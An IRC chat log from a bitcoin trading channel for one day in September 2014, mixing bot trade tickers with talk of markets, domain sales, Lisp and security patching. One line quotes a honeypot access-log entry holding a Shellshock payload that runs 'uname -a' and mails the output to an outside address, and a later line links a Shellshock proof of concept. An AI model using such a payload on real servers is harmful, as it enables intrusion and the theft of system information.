Show Idle (>14 d.) Chans
← 2014-09-25 | 2014-09-27 → ↓
00:00 BingoBoingo ;;ud peg
00:00 gribble http://www.urbandictionary.com/define.php?term=peg | Dude 1: your such a peg, u said you didnt revise lol. by Frank MacE January 06, 2010. 377 189. Merch. 3. peg. For a woman to bugger a man with a strap-on.
00:01 cazalla it's like super rake for poker
00:01 decimation implication of peg to usd: they have some usd to trade
00:03 ben_vulpes mircea_popescu: edulcorously?
00:10 mats_cd03 sounds like a good scam
00:12 ben_vulpes <decimation> gov't pays for such 'research', most of which is pointless: http://www.sbir.gov/ << people say: "do this!" and I say "what innovation? we duct tape thinger a to tab b and make clients happy." they do not understand, and i cannot enlighten them without calling into question that which they value themselves upon.
00:12 assbot SBIR.gov
00:13 asciilifeform decimation: 'maclisp' had nothing whatsoever to do with apple.
00:13 asciilifeform decimation: mit 'project mac'
00:18 decimation ah I see. apparently symbolics later marketed a card to install in apple stuff though
00:19 asciilifeform 'macivory'.
00:23 asciilifeform https://www.youtube.com/watch?v=PrcGkLtNsY0
00:23 assbot servo-string - YouTube
00:23 asciilifeform (unrelated)
00:27 decimation heh he should put some 'vibrato' on that
00:33 decimation in other news, slightly less than everybody is going to university in the us these days: http://census.gov/newsroom/press-releases/2014/cb14-177.html
00:34 assbot College Enrollment Declines for Second Year in a Row
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00:49 penguirker New blog post: http://contravex.com/2014/09/25/we-gon-party-like-its-19-hold-up-it-is/
00:52 BingoBoingo http://www.hulu.com/watch/691075#i0,p241,d0
00:52 assbot Watch South Park Online - Go Fund Yourself | Hulu
00:53 mircea_popescu <decimation> in other news, slightly less than everybody is going to university in the us these days: << bwahahaha
00:53 mircea_popescu should be "slightly more"
00:54 asciilifeform this doesn't even tough upon the very special chumpatronic clients who are admitted, to flounder about in 7+ years of too-precious-to-flunk limbo.
00:54 asciilifeform *touch upon
00:57 mircea_popescu hm
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01:15 pete_dushenski was it 6 months that ver was donating millions? now, 1/1000 that. mircea_popescu was right, dood is broke: https://twitter.com/rogerkver/status/515344889807003649
01:15 assbot I just donated $1K to the Global Learning XPRIZE because governments indoctrinate more than they educate. http://t.co/nkWMXwFR3R /Indiegogo
01:25 pete_dushenski https://www.youtube.com/watch?v=orzhba2dV1A << nov 30, 2013
01:25 assbot Bitcoin: $1,000,000 Bet Final Update! - YouTube
01:25 pete_dushenski how time flies!
01:30 pete_dushenski ;;bc,stats
01:30 gribble Current Blocks: 322607 | Current Difficulty: 3.466142592397694E10 | Next Difficulty At Block: 324575 | Next Difficulty In: 1968 blocks | Next Difficulty In About: 1 week, 5 days, 7 hours, 12 minutes, and 0 seconds | Next Difficulty Estimate: 36061315489.5 | Estimated Percent Change: 4.03875
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01:50 assbot [HAVELOCK] [HASH] 629 @ 0.0014 = 0.8806 BTC [-]
01:56 pete_dushenski http://imgur.com/G94f2bD
01:56 assbot imgur: the simple image sharer
01:58 pete_dushenski you've got derpy media writing a derpy article about a derpy politician with the absolute derpiest of ads.
01:59 pete_dushenski how does that much lulz fit in one little screen cap?
02:04 pete_dushenski the dreams beckon.
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02:31 BingoBoingo !up Shakespeare
02:35 kuzetsa CVE-2014-3631, CVE-2014-6271, and CVE-2014-7169 patched, full system-wide stack smashing protection (via GCC 4.9.1 -- had to recompile every last binary package with the new GCC with the appropriate flags enabled) and a few other nice things done... yay!
02:36 assbot [MPEX] [S.MPOE] 2853 @ 0.00075417 = 2.1516 BTC [+]
02:41 xmj kuzetsa: did you secure your systems against the vuln in nss too?
02:43 kuzetsa xmj: that vulnerability is not present on my system
02:43 kuzetsa I haven't got anything using RSA in production at this time
02:43 kuzetsa well... I mean my GPG key for authing with gribble is an RSA key but other than that
02:43 kuzetsa and that isn't on the server, that's on my laptop
02:44 xmj kuzetsa: that's one way to secure your systems, "yes" would've sufficed
02:44 xmj :]
02:44 xmj kuzetsa: hopefully your RSA key uses OpenSSH
02:51 kuzetsa xmj: my PGP (GPG) key was generated using openssh, yeah
02:51 xmj what
02:52 xmj i did mean 'openssh' instead of 'nss
02:52 xmj '
02:52 kuzetsa hmm
02:52 kuzetsa I meant openssl not openssh
02:52 xmj hum how does one create pgp keys with openSSL ?
02:53 kuzetsa gpg --gen-key
02:54 kuzetsa and then when you select RSA it's done via openssl
02:55 xmj oh
02:55 xmj didn't know that one, thanks!
02:58 kuzetsa oh
02:58 kuzetsa crap
02:58 kuzetsa I just audited and apparently I made an assumption which is not true
02:58 kuzetsa gnupg uses libgcrypt for the RSA key generation :(
03:00 xmj kuzetsa: even openssL would be Bad.
03:00 kuzetsa realy? why?
03:00 kuzetsa what's wrong with using openssl to generate RSA keys?
03:00 xmj libressL or openssH? good. openssL? bad.
03:00 xmj because it's full of bugs and other otherwise legacy crap http://opensslrampage.com/
03:01 * kuzetsa glares at http://ww2.qfind.net/?__jsfail
03:02 kuzetsa xmj: what did yoyu just try to link me anyway?
03:02 kuzetsa it's got obfuscated redirectors and suspicious javascript in it
03:02 xmj 3http://opensslrampage.org/
03:03 xmj silly hackers not buying .com .net and .org at once, i wanted .org
03:03 kuzetsa oooh
03:03 kuzetsa so it was a domain squatter using the .com when the actual site is on .org... interesting
03:04 kuzetsa I'm glad I didn't have a system policy which let that suspicious code run
03:04 kuzetsa default allow for javascript is such failsauce
03:04 xmj you mean, openssl?
03:06 * kuzetsa makes a funny face emoji thiner IRL :/
03:06 kuzetsa opensslrampage appears to be someone's blog who posts nothing but links to random-ass commits to the libressl repo
03:07 kuzetsa it actually looks so shitty I think it might even be an automated thing done by a rather unimaginatve bot
03:10 BingoBoingo Is that really a bad thing kuzetsa
03:11 assbot [MPEX] [S.MPOE] 41700 @ 0.00075607 = 31.5281 BTC [+] {6}
03:11 BingoBoingo !up pollos_gringos
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03:57 Naphex lol [26/Sep/2014:00:18:37 +0300] "GET / HTTP/1.1" 200 27100 "() { :; }; uname -a | mail -s 6775 ufquy@grandmamail.com" "curl/7.37.1" "-" script kiddies be leveling up:)
03:58 xmj nice!
04:00 Naphex for all that panic with bash not too many exploits hitting
04:00 Naphex mostly just checks
04:00 Naphex got like 10 hits, on 5 random honeypots
04:00 Naphex all web checks
04:00 Bet placed: 1 BTC for No on "Bitcoin to remain at or above $400 for two months" http://bitbet.us/bet/1051/ Odds: 23(Y):77(N) by coin, 23(Y):77(N) by weight. Total bet: 6.74150004 BTC. Current weight: 95,068.
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04:24 assbot [MPEX] [S.MPOE] 20400 @ 0.00075682 = 15.4391 BTC [+] {2}
04:24 assbot [HAVELOCK] [PETA] 1423 @ 0.00058381 = 0.8308 BTC [-] {6}
04:25 assbot [HAVELOCK] [PETA] 1043 @ 0.00057499 = 0.5997 BTC [-] {3}
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04:46 assbot [MPEX] [S.MPOE] 39962 @ 0.00075478 = 30.1625 BTC [-] {2}
05:00 assbot [MPEX] [S.MPOE] 6700 @ 0.00075375 = 5.0501 BTC [-]
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05:54 davout hello assets
05:58 assbot [MPEX] [S.MPOE] 21500 @ 0.00075326 = 16.1951 BTC [-] {2}
05:58 dub bonjour
06:04 RagnarDanneskjol http://bleacherreport.com/articles/2209929-buying-or-selling-every-top-10-team-as-playoff-championship-contender
06:04 assbot Buying or Selling Every Top 10 Team as Playoff Championship Contender | Bleacher Report
06:10 assbot [HAVELOCK] [RENT] 129 @ 0.0075 = 0.9675 BTC [+]
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07:00 assbot [MPEX] [S.MPOE] 23000 @ 0.00075133 = 17.2806 BTC [-]
07:07 RagnarDanneskjol http://hackaday.com/2014/09/26/thp-semifinalist-nsa-away/
07:07 assbot THP Semifinalist: NSA Away
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07:29 assbot [MPEX] [S.MPOE] 37000 @ 0.0007547 = 27.9239 BTC [+] {3}
07:43 Bet placed: 1 BTC for Yes on "Bitcoin to drop under $350 before November" http://bitbet.us/bet/1034/ Odds: 37(Y):63(N) by coin, 37(Y):63(N) by weight. Total bet: 38.26575605 BTC. Current weight: 35,432.
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08:02 assbot [MPEX] [S.MPOE] 8500 @ 0.00075367 = 6.4062 BTC [-]
08:09 assbot [MPEX] [S.MPOE] 12700 @ 0.00075133 = 9.5419 BTC [-]
08:23 assbot [HAVELOCK] [AM1] 5 @ 0.145 = 0.725 BTC [+]
08:24 assbot [MPEX] [S.MPOE] 27705 @ 0.00075053 = 20.7934 BTC [-] {2}
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08:44 assbot [MPEX] [S.MPOE] 12750 @ 0.00074867 = 9.5455 BTC [-]
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09:03 kakobrekla ;;tslb
09:03 gribble Time since last block: 52 minutes and 56 seconds
09:14 assbot [MPEX] [S.MPOE] 25200 @ 0.00074864 = 18.8657 BTC [-] {2}
09:16 punkman http://i.imgur.com/F6TjkpK.jpg
09:20 RagnarDanneskjol ha
09:22 punkman look
09:22 punkman oops
09:24 punkman interesting stuff http://versu.com/about/how-versu-works/
09:24 assbot How Versu works | Versu
09:30 RagnarDanneskjol hmm
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09:55 assbot [HAVELOCK] [PETA] 3257 @ 0.00060535 = 1.9716 BTC [+] {5}
09:55 chetty http://www.lewrockwell.com/2014/09/murray-n-rothbard/why-the-power-elite-loves-equality/
09:55 assbot Why the Power Elite Loves Equality – LewRockwell.com
10:01 assbot [MPEX] [S.MPOE] 7317 @ 0.00075242 = 5.5055 BTC [+]
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10:21 assbot [HAVELOCK] [AM1] 5 @ 0.145 = 0.725 BTC [+]
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10:52 assbot [MPEX] [S.MPOE] 33650 @ 0.00075228 = 25.3142 BTC [-]
11:01 assbot [HAVELOCK] [PETA] 1399 @ 0.00057 = 0.7974 BTC [-] {3}
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11:21 assbot [MPEX] [S.MPOE] 36219 @ 0.00075285 = 27.2675 BTC [+] {2}
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11:39 asciilifeform RagnarDanneskjol: 'nsa away' << very sad. reading, see kids have almost correct idea (synched write of avalanche noise to two flash cards, etc) and then see - the plaintext is eaten up and shat out of 'android' phones...
11:49 RagnarDanneskjol yes. i thought you'd appreciate the attempt
11:56 assbot [HAVELOCK] [B.MINE] 62 @ 0.01099999 = 0.682 BTC [-] {4}
12:00 assbot [HAVELOCK] [PETA] [PAID] 2.64497240 BTC to 1`149`988 shares, 230 satoshi per share
12:02 punkman "It’s an impressive bit of work, especially in the RNG department." "This part of the build isn’t quite working yet"
12:03 assbot [HAVELOCK] [SCRYPT] [PAID] 2.19430852 BTC to 29`438 shares, 7454 satoshi per share
12:05 assbot [HAVELOCK] [B.MINE] [PAID] 1.09513638 BTC to 15`097 shares, 7254 satoshi per share
12:06 assbot [HAVELOCK] [B.SELL] [PAID] 20.33158281 BTC to 15`097 shares, 134673 satoshi per share
12:08 punkman asciilifeform: I'm looking for something like the Inform7 beast but with more Lisp. Where does one look for Lisp libraries and such?
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12:35 asciilifeform punkman: 'ZIL' (not to be confused with the soviet car)
12:35 asciilifeform punkman: by infocom
12:37 assbot [MPEX] [S.MPOE] 36440 @ 0.00075178 = 27.3949 BTC [-] {3}
12:38 mircea_popescu so how goes everything this fine morning ?
12:38 chetty http://phys.org/news/2014-09-black-holes.html
12:38 assbot Researcher shows that black holes do not exist
12:40 asciilifeform http://log.bitcoin-assets.com/?date=26-09-2014#845694 << lenat intro for those who missed
12:40 assbot Logged on 26-09-2014 03:11:57; asciilifeform: there are two versions of the lenat story
12:40 mircea_popescu i recall this black hole thing yest
12:42 asciilifeform punkman: for libraries, http://www.cliki.net
12:42 assbot CLiki: index
12:45 asciilifeform https://en.wikipedia.org/wiki/Talk:Eurisko << mega-lol
12:45 assbot Talk:Eurisko - Wikipedia, the free encyclopedia
12:47 asciilifeform mircea_popescu: think millikan's experiment is a clusterfuck? in computer 'science', folks like lenat are schoolbook-famous for experiment that not only have not but cannot be replicated with available data.
12:47 mod6 %ob
12:47 atcbot 45k@282 20k@273 7k@266 | 59k@198 6k@194 12k@190
12:47 mircea_popescu im famous among a group of [girl]friends for this one trip I took one of them for at some point, that was never documented or repeated.
12:48 mircea_popescu nothing wrong with that, people allowed their own intimacy.
12:48 mircea_popescu course, it takes extra strength adolescent retardation to imagine it makes any sort of "science"
12:48 asciilifeform mircea_popescu: intimacy - sure. but this one is in encyclopaedias, and fed to n00bs as actual data that has bearing on what is possible, worth doing, worth funding, etc.
12:49 mircea_popescu but then again, the same sort of adolescent retardation is at work everywhere - what english speaker could hold his job if the artificial barriers were removed ?
12:49 mircea_popescu who, of the singers are actually singers ? what businessman knows business ? etc.
12:50 mircea_popescu the russian career criminals reportedly find the us, in spite of having the world's largest incarcerated population, doesn't even have good prisoners.
12:50 asciilifeform famously.
12:50 ben_vulpes what is a good prisoner?
12:50 mircea_popescu course if you ask them, or if you watch their movies, they're total fucking experts.
12:50 asciilifeform incidentally, it is because the prisons are run as a miniature copy of the entire empire
12:50 mircea_popescu quite.
12:51 mircea_popescu ben_vulpes hard to explain, in english.
12:51 ben_vulpes the mind boggles at the thing mircea_popescu finds difficult to explain, in any language.
12:51 mircea_popescu but if it helps, "russian career criminal" = вор
12:51 mircea_popescu which sort-of reads like dop in romanian, which is a funny little word, meaning cork.
12:52 asciilifeform i'll try.
12:52 asciilifeform the american jailbirds have defective... понятия.
12:52 asciilifeform see also http://log.bitcoin-assets.com/?date=12-09-2014#827009
12:52 assbot Logged on 12-09-2014 00:06:32; asciilifeform: mircea_popescu: 'Rinduieli' ~= (arabic) 'adat' ?
12:53 mircea_popescu asciilifeform it's deeper. they lack both the mind structures that make it necessary and possible, as well as the capacity of observation and reason that make the process unavoidable.
12:53 mircea_popescu they are, in short, retarded.
12:53 xanthyos in a privatized prison system, a "good prisoner" is one who consumes the least amount of food
12:53 asciilifeform mircea_popescu: orlov termed this 'homo sapiens lite'
12:53 mircea_popescu xanthyos a good deer is not the one that eats least.
12:53 mircea_popescu it's the one that most convincingly stotts, say.
12:54 mircea_popescu asciilifeform im not sure of the homo sapiens relation. the women are made of flesh, so in that sense it passes, but i have little clue what the males are made of.
12:54 mircea_popescu possibly mushroom meal.
12:55 mircea_popescu !up myriadgetsmehard
12:55 myriadgetsmehard haha didn't expect voice. good morning to all!
12:55 mircea_popescu ello. who're you ?
12:56 myriadgetsmehard i am john. i are engineer. i also came to maybe discuss some bitcoin assets of mine
12:56 mircea_popescu go right ahead, you have half an hour.
12:56 ben_vulpes the correct usage is 'r'
12:56 myriadgetsmehard i'd gpg auth but i am on me work computer
12:56 ben_vulpes :P
12:56 myriadgetsmehard so i don't know how any of you feel about bitpremier
12:56 mircea_popescu !s bitpremier
12:57 assbot 9 results for 'bitpremier' : http://search.bitcoin-assets.com/?q=bitpremier
12:57 ben_vulpes ;;ident myriadgetsmehard
12:57 gribble Nick 'myriadgetsmehard', with hostmask 'myriadgetsmehard!~bonerKILL@68-190-212-206.dhcp.gldl.ca.charter.com', is not identified.
12:57 ben_vulpes who would you auth as, myriadgetsmehard ?
12:57 myriadgetsmehard jdanks
12:58 myriadgetsmehard So the bastard at http://bitpremier.com/ won't list my BTC domains. I'm a little pissed to be honest
12:58 assbot The Bitcoin Luxury Marketplace
12:58 ben_vulpes what does listing your btc domains mean?
12:58 ben_vulpes ah, you have domains for sale.
12:58 ben_vulpes noyrly luxury items, those.
12:58 myriadgetsmehard I am trying to sell http://btc.events I also have a .rentals .holiday and .pub and others
12:58 assbot btc.events is almost here!
12:59 assbot [MPEX] [S.MPOE] 15650 @ 0.00075021 = 11.7408 BTC [-] {2}
12:59 ben_vulpes "BitPremier currently lists only the following: real estate, autos (listed at $50k USD or more), jewelry and watches (listed at $5k USD or more), home goods and travel (listed at $5k USD or more), handbags and accessories (listed at $5K USD or more)"
12:59 mircea_popescu so why's he a bastard ? domains aren't worth jack.
12:59 Duffer1 i thought bitpremier was a website for things that had value
12:59 ben_vulpes case closed.
12:59 lobbes ;;ticker
12:59 gribble Bitstamp BTCUSD ticker | Best bid: 402.83, Best ask: 403.99, Bid-ask spread: 1.16000, Last trade: 403.99, 24 hour volume: 9982.83562326, 24 hour low: 396.53, 24 hour high: 414.35, 24 hour vwap: 406.132999441
12:59 asciilifeform mention of 'handbag' -> spam
12:59 mircea_popescu dude that bet...
12:59 myriadgetsmehard mircea_popescu they only think .com's are valuable :/
12:59 asciilifeform almost ironclad rule.
13:00 ben_vulpes asciilifeform: "luxury" anything -> spam ?
13:00 mircea_popescu myriadgetsmehard i doubt they think even those are valuable. i definitely would think much less of any marketplace that purports to sell 2nd market domain names.
13:00 myriadgetsmehard i beg to differ. i think all these new TLDs have value. So I am asking for $500k for http://btc.events and a few others. BitPremier takes 5% but I'll offer the room 20% to any who can get one sold
13:00 assbot btc.events is almost here!
13:01 myriadgetsmehard It's not up to them to decide what is a premium domain or not. I say it's up to the whole free market, which they won't let me be a part of, it's also not really free
13:02 Duffer1 lmao
13:02 myriadgetsmehard maybe i needa setup a gpg contract to get these sold for a commission.
13:02 ben_vulpes myriadgetsmehard: put 'em in the OTC order book.
13:02 myriadgetsmehard laugh if you want. i'm offering $100k in BTC to whoever can sell it. wil do ben_vulpes
13:02 ben_vulpes that's the only free market with which you need concern yourself.
13:02 myriadgetsmehard :)
13:03 ben_vulpes to return to the previous topic of conversation: the incompetence of the prisoners implies incompetence of ratcatchers, non?
13:03 asciilifeform myriadgetsmehard: pray tell, what is a 'ria' ?
13:03 asciilifeform myriadgetsmehard: and why does yours get you hard
13:03 mircea_popescu <myriadgetsmehard> It's not up to them to decide what is a premium domain or not. << because why, because it's up to you ?
13:03 mircea_popescu have a glass o' water.
13:03 ben_vulpes although i imagine the hardened russian finds the US street gang similarly incompetent.
13:03 ben_vulpes asciilifeform: what's a "dget" ?
13:03 mircea_popescu "i'm offering 100k in any currency to the salesman that sells this rock i found in the street for 500k"
13:04 asciilifeform ben_vulpes: wouldntchalovetoknow
13:04 mircea_popescu tyvm and stfu, you're offering 500k to the guy who does that, plus a little fee for allowing your pointless existence to be associated with his.
13:04 mircea_popescu ben_vulpes ratcatchers << no.
13:04 myriadgetsmehard bitcoins.com sold for how cheap?
13:05 myriadgetsmehard asciilifeform there is no ria
13:05 mircea_popescu if you were a hunter and moved to a difference cannuckistan, and all the moose you shot was the size of a chicken
13:05 mircea_popescu you would NOT suspect it's your bullets that are the problem
13:05 ben_vulpes i think it means he can stroke it to anything
13:05 mircea_popescu myriadgetsmehard "random rock i found in street" != koh-i-noor
13:05 mircea_popescu youi're doing this substitutive thinking thing wrong, it's amply discussed in the logs.
13:06 ben_vulpes mircea_popescu: but the bullets are materially different. lathed shit, perhaps.
13:06 asciilifeform ben_vulpes: we call those 'match grade' in usa
13:06 mircea_popescu they do kill it, so the bullet story ends there.
13:06 myriadgetsmehard So you don't think btc.events can make someone millions?
13:07 ben_vulpes and also they only fly at 2kph
13:07 ben_vulpes myriadgetsmehard: what is this, 90's domain bubble again?
13:07 ben_vulpes 'cause btc?
13:07 asciilifeform 'A SMURF listens to the Village for variable assignments. When a SMURF receives one, it makes the state transition and returns a list of inferences that must now hold. It is the responsibility of the Village to ensure that the inferences in the list become agreed upon by all Smurfs.'
13:07 myriadgetsmehard ben_vulpes yes
13:07 asciilifeform (actual u.s. nsa patent. https://www.google.com/patents/US7380224 )
13:07 assbot Patent US7380224 - Method and system for non-linear state based satisfiability - Google Patents
13:07 ben_vulpes that's nonsensical.
13:07 myriadgetsmehard new gTLDs are the shit man. too many new domains (.com seekers) are shit imo
13:08 chetty sadly enough some vc funded tard might it, don{t mean it will actually make money/have value
13:09 chetty */might buy it
13:09 ben_vulpes <myriadgetsmehard> new gTLDs are shit << ftfy
13:09 myriadgetsmehard ben you are acting like the dinosaurs i get enough shit from man :)
13:10 ben_vulpes !down myriadgetsmehard
13:10 ben_vulpes add value or gtfo.
13:10 ben_vulpes order book is over there. place orders and quit derping.
13:12 asciilifeform https://www.google.com/search?tbm=pts&hl=en&q=national+security+agency << mega-lol-mine
13:12 assbot national security agency - Google Search
13:13 chetty https://pbs.twimg.com/media/BybM7KBCMAEVwGp.jpg
13:15 asciilifeform patent US8414314 B1, 'Single-use USB port protector.' carry on, wunderwaffen, for victory.
13:20 mircea_popescu lma
13:24 asciilifeform https://www.google.com/patents/USD637658
13:24 assbot Patent USD637658 - Game board - Google Patents
13:29 mats_cd03 13:00:59 <+myriadgetsmehard> i beg to differ. i think all these new TLDs have value. So I am asking for $500k for http://btc.events and a few others. BitPremier takes 5% but I'll offer the room 20% to any who can get one sold
13:29 assbot btc.events is almost here!
13:29 mats_cd03 13:01:49 <+myriadgetsmehard> It's not up to them to decide what is a premium domain or not. I say it's up to the whole free market, which they won't let me be a part of, it's also not really free
13:29 mats_cd03 the nerve of some people
13:29 punkman http://dealbook.nytimes.com/2014/09/25/marc-andreessen-sounds-warning-on-start-ups-burning-cash/
13:29 punkman yeah not like he's giving them piles of cash
13:31 xmj ...
13:31 mats_cd03 the HN comments are worrying
13:31 mats_cd03 some dummies with the 'oh its been goin on for a while now, nbd' ...
13:31 ben_vulpes 'this time is different'
13:31 xmj thing is
13:31 xmj what ben says
13:31 xmj as soon as people start saying This Time Is Different
13:32 xmj and start rationalizing/hamstering WHY
13:32 mats_cd03 and then there's this, "I do agree valuations are artificially inflated, but before you start drawing parallels to 1999 and every financial bubble of years past remember there are companies with real revenue streams. Sure, there are the snapchat valuations which have no basis, but do uber, airbnb, dropbox, and the like not deserve billion dollar valuations?"
13:32 asciilifeform hamstering !?
13:32 * mats_cd03 facepalms
13:32 xmj then its gonna be daaaaaaangerous not to be in a cashflow positive business
13:32 asciilifeform as in, in arse ?
13:32 ben_vulpes "arse hamster machine"
13:32 xmj asciilifeform: hamstering as in rationalization hamster that runs in his wheel
13:32 asciilifeform lol
13:32 xmj ben_vulpes: go explain asciilifeform about that one please
13:32 * asciilifeform though something slightly different
13:32 xmj I DON'T WANNA.
13:32 mats_cd03 "hamstering" is not something that has evar been a thing
13:32 punkman what is a rationalization hamster?
13:33 ben_vulpes no thanks. it's retarded pua shit.
13:33 mats_cd03 you can't go and just coin your own things, man!
13:33 * asciilifeform pictured the inquisitorial, then nazi, arse-rat-system
13:33 xmj dont remember who coined it
13:33 xmj asciilifeform: just 'cuz i'm german.
13:33 kakobrekla mats_cd03 at this point you can coin your own coin.
13:33 asciilifeform see also http://log.bitcoin-assets.com/?date=17-02-2014#511605
13:33 assbot Logged on 17-02-2014 19:11:41; asciilifeform: here, author is almost certainly satisfying his own desires: http://actualhistory.ru/app/var/pub/files/86/41776_image_large.jpg
13:34 mats_cd03 anyway -- 'uber, airbnb' being companies that deserve bn USD valuations... apparently middle-men with no moats are incredibly valuable nao
13:34 asciilifeform 'rectomurine cryptoanalysis.'
13:34 ben_vulpes i can see that backfiring, asciilifeform
13:34 asciilifeform ben_vulpes: ?
13:34 ben_vulpes what about the guy who's into that sort of wriggling around?
13:34 ben_vulpes (also, bad puns on the rear end)
13:35 asciilifeform ben_vulpes: is he also 'into' the rat emerging from other side?
13:35 asciilifeform idea is, he tunnels through.
13:35 xmj ahahaha
13:35 ben_vulpes bleaugh
13:36 xmj the idea of having a rat tunnel through on the rear end.. sounds BAD.
13:36 kakobrekla theres another story where they just put the rat on your belly and cover it so it cant escape. what happens is an exercise to the alert reader.
13:36 mats_cd03 is that soviet in origin asciilifeform? i noticed the idea first, in cult phenomenon Game of Thrones
13:37 asciilifeform mats_cd03: at least 1000 years old.
13:37 mats_cd03 makes sense. what am i thinking.
13:38 ben_vulpes 'abdominomurine etc'
13:40 mircea_popescu <ben_vulpes> 'this time is different' << win.
13:40 mircea_popescu <mats_cd03> but do uber, airbnb, dropbox, and the like not deserve billion dollar valuations?" <<< i agree that other people's shit stinks but isn't my doodoo all perfumed ?!
13:41 ben_vulpes this consulting short isn't really that great of a short actually
13:42 mircea_popescu <punkman> what is a rationalization hamster? << supposedly what women do when they've been rejected by a magical boy of magic, they go in a corner and worry and obsessively rethink the experience.
13:42 mircea_popescu this is fundamentally different from what the boy in question does, on forums and while commuting.
13:42 penguirker New blog post: https://www.bcoinnews.com/bfl-ftc/
13:42 mircea_popescu the whole charade's a sort of "fine when we do it, evil/bad/wrong when they do it" thing.
13:42 mircea_popescu and i mean both for VCs and for PUAs, and come to think about it the difference is negligible.
13:42 ben_vulpes sure, it guarantees cash in pocket instead of worthless paper when the music stops, but all i'm left with when the music stops is a company that makes software in competition with all the other shartup engineers.
13:42 ben_vulpes and maybe some cash.
13:43 ben_vulpes supply, demand...
13:43 ben_vulpes <mircea_popescu> this is fundamentally different from what the boy in question does, on forums and while commuting. << pah yup
13:43 mircea_popescu ben_vulpes> sure, it guarantees << duh.
13:44 ben_vulpes nothing is guaranteed, okay fine.
13:45 mircea_popescu the difference between the shorts we want our shorts to be and the shorts our shorts actually are is the one thing that sinks businesses.
13:45 mircea_popescu the ONLY one thing.
13:46 ben_vulpes the only leg i can see hedging are btc holdings
13:47 assbot [HAVELOCK] [PETA] 1034 @ 0.00055513 = 0.574 BTC [-] {6}
13:49 mats_cd03 http://queue.acm.org/detail.cfm?id=2673311
13:49 assbot Security Collapse in the HTTPS Market - ACM Queue
13:49 mats_cd03 via /.
13:49 ben_vulpes https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
13:49 assbot Shellshock DHCP RCE Proof of Concept -
13:49 assbot [HAVELOCK] [PETA] 1850 @ 0.00054508 = 1.0084 BTC [-] {6}
13:50 asciilifeform ben_vulpes: lol!
13:52 ben_vulpes reel reel reel reel bad
13:52 asciilifeform the mice, the mice.
13:55 mircea_popescu o look. it's not that mpex didn't get hacked
13:56 mircea_popescu it's that EVERYONE ELSE DID
13:56 penguirker New blog post: http://trilema.com/2014/a-putea-putere/
13:56 mircea_popescu i suppose every single entity in online finance, from paypal to icbc will now come and leave a comment on trilema saying "sorry, we're fucking stupid, you're right"
13:56 mircea_popescu because the world is fair and people rational.
13:57 mircea_popescu not like they'll cary on derping about "ux" and how their shit is worth not just money, but billions of it.
13:57 mircea_popescu a well.
13:58 asciilifeform mircea_popescu: putere << it all works fine in ru.
13:58 asciilifeform mircea_popescu: try it.
13:58 mircea_popescu asciilifeform yeah.
13:58 mircea_popescu http://log.bitcoin-assets.com/?date=08-12-2013#411896
13:58 assbot Logged on 08-12-2013 16:40:53; mircea_popescu: and the same princuople goes to the "devteam" retards implememnting pki
13:59 mircea_popescu i seriously expect the entire world to now bow down to my superiority and explicitly recognise its inferiority, as a wholy owned, substantive characteristic of their own.
13:59 mircea_popescu none of this "but mp, you never gave any proof". there's your motherfuc king proof now stfu and shine my boots.
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14:00 mircea_popescu asciilifeform this whole fiasco reminds me of naggum's discussion of the y2k thing.
14:00 asciilifeform mircea_popescu: precisely it
14:01 asciilifeform http://www.xach.com/naggum/articles/3140985758772364@naggum.no.html
14:01 assbot Re: Is LISP dying? - Naggum cll archive
14:01 mircea_popescu the one thing all those idiots will never say is exactly the only thing they should be saying at all : this other guy didn't do it, he is our king, our lord, our sovereign, and so much better than we may even aspire to one day be.
14:05 thestringpuller http://cogcoop.com/
14:05 assbot COG Site
14:06 ben_vulpes what is a bitcoin application?
14:06 assbot [HAVELOCK] [HASH] 750 @ 0.00169999 = 1.275 BTC [+] {3}
14:06 mats_cd03 its social good through financial freedom, man.
14:07 ben_vulpes financial freedom is the only social good
14:07 asciilifeform 'another way to look at this is to see that software in today's society has a number of diseased elements, to consider that maggots eat only diseased or dead tissue, that dead or dying software projects lie around all over the place, like a horrible war zone between ignorant users and frightened managers, and pretend that you're a maggot. you wouldn't care about the living and the healthy who prosper outside th
14:07 asciilifeform e war zone, you'd rush to the war zone to join the feeding frenzy, right? so, to complete the grim picture, software in our society is diseased, the activity you read about are all about cleaning up the disasters and surviving the equivalent of plagues, and it just takes a tremendous amount of people and work to keep the whole system from dying, like the incredibly stupid year-2000 problem.'
14:07 asciilifeform 'to take but one simple example: suppose you thought of the new millennium when you wrote your application back in 1972 -- not only wouldn't you be invited to the party, those who knew you had done it right from the start and who probably laughed at you at the time would positively hate you now, and they sure as hell wouldn't tell people about you. and the more stupid they are, the more important it would be to
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14:07 asciilifeform pretend that nobody was smart enough to see the next millennium coming.'
14:07 asciilifeform (herr naggum)
14:08 thestringpuller RIP Naggum
14:08 thestringpuller His story is as tragic as a jazz musician.
14:16 mats_cd03 i thought the eulogy was beautifully written
14:17 mircea_popescu like a horrible war zone between ignorant users and frightened managers << the exact fucking problem.
14:17 mats_cd03 if not terrible. almost as though she read "Speaker of the Dead", and thought, "ill do that, but better."
14:17 mircea_popescu a frightened manager is about as useful as a punctured set of wellington boots.
14:17 mircea_popescu mats_cd03 naggum's ? yes, formaly it's great.
14:17 mircea_popescu substantively i find it offensive.
14:24 kakobrekla http://shrani.si/f/2Y/SL/4sFlbIcT/this-time-next-year.png
14:24 kakobrekla we will be millionaires!
14:29 mircea_popescu lol
14:34 chetty http://www.abc15.com/news/region-phoenix-metro/central-phoenix/fired-ups-worker-accused-of-stealing-160k-diamond-trading-it-for-20-worth-of-marijuana
14:34 assbot Fired UPS worker Walter Earl Morrison accused of stealing $160K diamond, trading it for marijuana - ABC15 Arizona
14:37 asciilifeform chetty: lol, they actually sent such a thing via commercial parcel co. instead of courier ?
14:38 mats_cd03 i wonder how easy it is to fence diamonds
14:39 mats_cd03 i suspect it is not really that valuable
14:41 mats_cd03 http://www.cnbc.com/id/102033875 >> USSOCOM plugs bitcoin foundation...
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14:42 mats_cd03 "The bitcoin community doesn't necessarily endorse U.S. foreign policy, and the bitcoin community doesn't necessarily endorse everything the U.S. intelligence community does." But, he said, "things that are morally wrong, bitcoin rejects." ...
14:42 thestringpuller Bitcoin Foundatoin shouldn't be in the US
14:43 thestringpuller There shouldn't be a Bitcoin Foundation at all.
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15:02 thestringpuller !s web of trust database
15:02 assbot 0 results for 'web of trust database' : http://search.bitcoin-assets.com/?q=web+of+trust+database
15:02 thestringpuller !s wot database
15:02 assbot 1 results for 'wot database' : http://search.bitcoin-assets.com/?q=wot+database
15:04 thestringpuller http://log.bitcoin-assets.com/?date=11-08-2014#789979 << for back reference
